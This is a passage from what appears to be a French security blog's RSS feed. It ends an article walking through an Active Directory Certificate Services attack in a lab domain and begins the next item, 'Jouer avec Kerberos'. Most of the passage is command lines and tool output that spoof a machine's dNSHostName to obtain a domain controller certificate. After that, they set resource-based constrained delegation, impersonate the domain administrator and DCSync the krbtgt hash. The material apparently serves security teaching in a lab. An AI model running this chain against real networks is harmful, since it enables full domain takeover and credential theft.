&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Computers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="n"&gt;dnsHostName&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;been&lt;/span&gt; &lt;span class="n"&gt;updated&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On vérifie que l&amp;rsquo;attribue a été configuré correctement:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="n"&gt;testuser&lt;/span&gt; &lt;span class="n"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;totoTOTOtoto1234*&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;object&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CN=cve,CN=Computers,DC=crashlab,DC=local&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-attr&lt;/span&gt; &lt;span class="n"&gt;dNSHostName&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;distinguishedName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;cve&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;CN&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Computers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;DC&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;dNSHostName&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;CRASHDC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Et maintenant on utilise &lt;a href="https://github.com/ly4k/Certipy" target="_blank" rel="noopener"&gt;Certipy&lt;/a&gt; pour demander le certificat pour la machine &lt;code&gt;cve&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c"&gt;# 10.100.10.13 is the ADCS server&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt; &lt;span class="n"&gt;req&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;crashlab.local/cve$:CVEPassword1234*@10.100.10.13&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-template&lt;/span&gt; &lt;span class="n"&gt;Machine&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;-ca&lt;/span&gt; &lt;span class="nb"&gt;crashlab-ADCS&lt;/span&gt;&lt;span class="n"&gt;-CA&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Certipy&lt;/span&gt; &lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Oliver&lt;/span&gt; &lt;span class="n"&gt;Lyak&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ly4k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Requesting&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Successfully&lt;/span&gt; &lt;span class="n"&gt;requested&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt; &lt;span class="n"&gt;ID&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;with&lt;/span&gt; &lt;span class="n"&gt;DNS&lt;/span&gt; &lt;span class="n"&gt;Host&lt;/span&gt; &lt;span class="n"&gt;Name&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CRASHDC.crashlab.local&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saved&lt;/span&gt; &lt;span class="n"&gt;certificate&lt;/span&gt; &lt;span class="n"&gt;and&lt;/span&gt; &lt;span class="n"&gt;private&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;crashdc.pfx&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Maintenant on va essayer de récupérer un TGT en utilisant &lt;a href="https://github.com/ly4k/Certipy" target="_blank" rel="noopener"&gt;Certipy&lt;/a&gt; avec le certificat demandé précédemment:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;certipy&lt;/span&gt; &lt;span class="n"&gt;auth&lt;/span&gt; &lt;span class="n"&gt;-pfx&lt;/span&gt; &lt;span class="p"&gt;./&lt;/span&gt;&lt;span class="n"&gt;crashdc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;pfx&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Certipy&lt;/span&gt; &lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;by&lt;/span&gt; &lt;span class="n"&gt;Oliver&lt;/span&gt; &lt;span class="n"&gt;Lyak&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ly4k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Using&lt;/span&gt; &lt;span class="n"&gt;principal&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;crashdc&lt;/span&gt;&lt;span class="p"&gt;$&lt;/span&gt;&lt;span class="nv"&gt;@crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;TGT&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[-]&lt;/span&gt; &lt;span class="n"&gt;Got&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="n"&gt;trying&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt; &lt;span class="n"&gt;TGT&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Kerberos&lt;/span&gt; &lt;span class="n"&gt;SessionError&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;KDC_ERR_PADATA_TYPE_NOSUPP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KDC&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;support&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;padata&lt;/span&gt; &lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;PKINIT ne fonctionne pas sur cet AD, essayons la technique RBCD avec &lt;a href="https://github.com/CravateRouge/bloodyAD" target="_blank" rel="noopener"&gt;bloodyAD&lt;/a&gt; et sa fonctionnalité d&amp;rsquo;authentification par certificat:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;openssl&lt;/span&gt; &lt;span class="n"&gt;pkcs12&lt;/span&gt; &lt;span class="n"&gt;-in&lt;/span&gt; &lt;span class="n"&gt;crashdc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;pfx&lt;/span&gt; &lt;span class="n"&gt;-out&lt;/span&gt; &lt;span class="n"&gt;crashdc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;pem&lt;/span&gt; &lt;span class="n"&gt;-nodes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;python&lt;/span&gt; &lt;span class="n"&gt;bloodyAD&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-d&lt;/span&gt; &lt;span class="n"&gt;crashlab&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;local&lt;/span&gt; &lt;span class="n"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;:crashdc.pem&amp;#34;&lt;/span&gt; &lt;span class="n"&gt;-u&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;cve$&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-host&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;add&lt;/span&gt; &lt;span class="n"&gt;rbcd&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CRASHDC$&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;CVE$&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;CVE&lt;/span&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;SID&lt;/span&gt; &lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="n"&gt;S&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;21&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1945936656&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;2616711065&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1665664270&lt;/span&gt;&lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="mf"&gt;1134&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Attribute&lt;/span&gt; &lt;span class="nb"&gt;msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/span&gt; &lt;span class="n"&gt;correctly&lt;/span&gt; &lt;span class="nb"&gt;set &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[+]&lt;/span&gt; &lt;span class="n"&gt;Delegation&lt;/span&gt; &lt;span class="n"&gt;rights&lt;/span&gt; &lt;span class="n"&gt;modified&lt;/span&gt; &lt;span class="n"&gt;successfully&lt;/span&gt;&lt;span class="p"&gt;!&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CVE&lt;/span&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt; &lt;span class="n"&gt;impersonate&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;CRASHDC&lt;/span&gt;&lt;span class="p"&gt;$&lt;/span&gt; &lt;span class="n"&gt;via&lt;/span&gt; &lt;span class="n"&gt;S4U2Proxy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Les droits de délégation sont en place, maintenant on peut utiliser &lt;a href="https://github.com/SecureAuthCorp/impacket" target="_blank" rel="noopener"&gt;impacket&lt;/a&gt; &lt;code&gt;getST.py&lt;/code&gt; pour usurper l&amp;rsquo;administrateur de domaine (&lt;code&gt;emacron&lt;/code&gt; dans notre cas) sur CRASHDC$ et on récupère un TGT:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;getST&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-spn&lt;/span&gt; &lt;span class="n"&gt;LDAP&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;CRASHDC&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;CRASHLAB&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;LOCAL&lt;/span&gt; &lt;span class="n"&gt;-impersonate&lt;/span&gt; &lt;span class="n"&gt;emacron&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;crashlab.local/cve$:CVEPassword1234*&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Getting&lt;/span&gt; &lt;span class="n"&gt;TGT&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Impersonating&lt;/span&gt; &lt;span class="n"&gt;emacron&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Requesting&lt;/span&gt; &lt;span class="n"&gt;S4U2self&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Requesting&lt;/span&gt; &lt;span class="n"&gt;S4U2Proxy&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;ticket&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="n"&gt;emacron&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;cp &lt;/span&gt;&lt;span class="n"&gt;emacron&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt; &lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;export&lt;/span&gt; &lt;span class="n"&gt;KRB5CCNAME&lt;/span&gt;&lt;span class="p"&gt;=/&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;emacron&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;ccache&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pour finir on utilise &lt;a href="https://github.com/SecureAuthCorp/impacket" target="_blank" rel="noopener"&gt;impacket&lt;/a&gt; &lt;code&gt;secretsdump.py&lt;/code&gt; pour réaliser un DCSync avec le TGT récupéré:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-ps1" data-lang="ps1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;secretsdump&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;py&lt;/span&gt; &lt;span class="n"&gt;-user-status&lt;/span&gt; &lt;span class="n"&gt;-just-dc-ntlm&lt;/span&gt; &lt;span class="n"&gt;-just-dc-user&lt;/span&gt; &lt;span class="n"&gt;krbtgt&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;crashlab.local/emacron@crashdc.crashlab.local&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;-k&lt;/span&gt; &lt;span class="n"&gt;-no-pass&lt;/span&gt; &lt;span class="n"&gt;-dc-ip&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt; &lt;span class="n"&gt;-target-ip&lt;/span&gt; &lt;span class="mf"&gt;10.100&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;10&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;12&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Impacket&lt;/span&gt; &lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;9&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;24&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="n"&gt;Copyright&lt;/span&gt; &lt;span class="mf"&gt;2021&lt;/span&gt; &lt;span class="n"&gt;SecureAuth&lt;/span&gt; &lt;span class="n"&gt;Corporation&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Dumping&lt;/span&gt; &lt;span class="n"&gt;Domain&lt;/span&gt; &lt;span class="n"&gt;Credentials&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;domain&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;rid&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;lmhash&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;nthash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Using&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;DRSUAPI&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="n"&gt;NTDS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="py"&gt;DIT&lt;/span&gt; &lt;span class="n"&gt;secrets&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;krbtgt&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;502&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;aad3b435b51404eeaad3b435b51404ee&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt;&lt;span class="n"&gt;492850f62466ef2bd1f4a56f112e01f1&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Disabled&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;[*]&lt;/span&gt; &lt;span class="n"&gt;Cleaning&lt;/span&gt; &lt;span class="n"&gt;up&lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>Jouer avec Kerberos</title><link>https://cravaterouge.com/fr/articles/ad-kerberos/</link><pubDate>Tue, 05 Mar 2024 00:00:00 +0000</pubDate><guid>https://cravaterouge.com/fr/articles/ad-kerberos/</guid><description>
&lt;blockquote class="border-l-4 border-neutral-300 dark:border-neutral-600 pl-4 italic text-neutral-600 dark:text-neutral-400 my-6"&gt;
